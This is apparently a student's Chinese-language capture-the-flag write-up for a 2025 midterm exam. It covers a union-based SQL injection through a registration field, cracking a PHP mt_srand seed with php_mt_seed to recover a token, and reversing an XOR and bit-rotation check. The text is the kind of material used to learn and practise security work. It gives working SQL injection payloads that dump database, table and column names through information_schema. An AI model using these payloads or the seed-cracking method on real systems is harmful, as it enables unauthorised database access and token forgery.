2025期中考复现
ez_SQL(Web)
题目提供了三个界面,注册界面,登陆界面,登录之后的修改界面。
这题的重点不在修改界面,在注册界面和登录界面,注入点在注册界面,注入之后在登录之后可以查看回显。
先联合注入查一下库名
' union select database()#
这题只能用#闭合--+闭合不了,先注册可以设置密码也可以不用,账号就是注入语句,注册登录之后可以看到库名
之后查表名
' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #
这题有几个不理解的:不加group_concat出不来,根据我之前的学习,这个函数是一个聚合函数,作用是将一些查询到的数据聚合起来,以字符串的形式输出。这题如果去掉这个函数的话,就没有回显。
我们登录进去可以看到这几个表名
可以去试了一下前两个,第一个是假的第二个才是真的,接着爆列名
' union select group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag'#
登录之后得到flag位置
直接查就可以
id=-1' union select flag from flag#
在这里又可以不用group_concat
来财(web)
这个网上是有原题的,考试的时候没想着往这方面搜
考试的时候去看了一下源码,看到了这一段代码
于是去访问了一下check.php这个文件,访问之后可以看到源码
那么其实这段代码也不难理解,大致分成前后两段,前面是生成20位的一个字符串,生成的方法是:在定义的范围内生成一个随机种子,经过一种规定的循环去生成
到这里就傻了,这个种子是开启网站时随机生成的,不想密码题是提前生成好的,所以也就没有找规律去解题的这种可能
第二段就是一段验证的代码而已
那么这题的解题思路是什么,关键点又在哪里?
思路很简单就是得到最终的20位的字符串,关键点在mt_srand这个函数的特性,这个函数的作用是:这个函数接受一个数,他会输出一串随机数,我们可以做一个实验,我们像这个函数传入123这个数字
<?phpmt_srand(123);
for($i = 0; $i < 5 ;$i++){echo mt_rand()."\n";
}
echo "\n";
mt_srand(123);
for($i = 0; $i < 5 ;$i++){echo mt_rand()."\n";
}
?>
使用这个函数连着输出两遍,一遍五次
可以看到输出结果都一样,所以说这个函数接受一个随机数之后,它输出的随机数说是随机,若干个已经排列好的数字
这个函数通常和生成随机种子的函数配合使用,先生成一个随机种子,再将这个种子给这个函数再生成一个随机数,这题就是这个样子,由于我们无法知道它传入中国函数的种子是什么,所以我们就没办法单纯用中国函数去解决问题,还需要爆破出这个种子,根据给的前十位去爆破种子
我们使用php_mt_seed这个工具来破解,这个工具是针对mt_srand这个函数的特性的一个破解工具。我们要通过前十个字符获得密文
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='N5M1hGe3uX'
length = len(str2)
res=''
for i in range(len(str2)):for j in range(len(str1)):if str2[i] == str1[j]:res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' 'break
print(res)
得到密文用工具去破解
之后再破解 通过这个去破解
for ( $i = 0; $i < $len1; $i++ ){$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
<?php
mt_srand(841695070);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>
输入就可以得到flag
ezre(re)
判断一下文件格式,ida32打开直接看main函数
读取输入的32位字符,进行一个异或加密,对比前5给字符是否是fdata,如果是就发给下一个加密函数
从第六位开始进行循环加密,左移右移什么什么的,之后还是对比输出,我们追踪一下对比的字符就是加密的字符
可以看到前五位是字符形式给我们的,后面则是十六进制,接下来就是写脚本逆向了
理一下逆向的思路,我们需要先对总共的32给字符的后面27位进行第一层解密,解密完成之后再总的对32个字符进行解密,第一层解密有两种方法,第一种是逆向解法,就是左移变成右移,乘4变成除4,这里要用整除;第二种就是爆破解法,在256范围内进行爆破,模拟题目加密的方法,如果加密之后和园数组对比是一样的话,就把总共加到新数组里面,脚本如下
v=[ord('Q'),ord('|'),ord('j'),ord('{'),ord('g'),0x52, 0xFD, 0x16, 0xA4, 0x89, 0xBD, 0x92, 0x80, 0x13, 0x41,0x54, 0xA0, 0x8D, 0x45, 0x18, 0x81, 0xDE, 0xFC, 0x95, 0xF0,0x16, 0x79, 0x1A, 0x15, 0x5B, 0x75, 0x1F]for i in range(5, len(v)):if (i & 1) != 0:a= ((v[i] << 2) | (v[i] >> 6)) & 0xFFelse:a = ((v[i] // 4) | (v[i] << 6)) & 0xFFv[i]=a
print(','.join (str(x) for x in v))
v=[ord('Q'),ord('|'),ord('j'),ord('{'),ord('g'),0x52, 0xFD, 0x16, 0xA4, 0x89, 0xBD, 0x92, 0x80, 0x13, 0x41,0x54, 0xA0, 0x8D, 0x45, 0x18, 0x81, 0xDE, 0xFC, 0x95, 0xF0,0x16, 0x79, 0x1A, 0x15, 0x5B, 0x75, 0x1F]
for i in range(5, len(v)):for x in range(256):if (i & 1) != 0:encoded = ((x >> 2) | (x << 6)) & 0xFFelse:encoded = ((x * 4) | (x >> 6)) & 0xFFif encoded == v[i]:v[i] = xbreak
print(','.join (str(x) for x in v))
接下来是第二层解密的脚本,将第一层的结果作为输入
v = [81, 124, 106, 123, 103, 73, 127, 88, 41, 38, 111, 74, 32, 76, 80, 81, 40, 54, 81, 96, 96, 123, 63, 86, 60, 88, 94, 104, 69, 109, 93, 124]
for i in range(0, 32):v[i]^=32-i
print(''.join(chr(x) for x in v))
运行就可以得到答案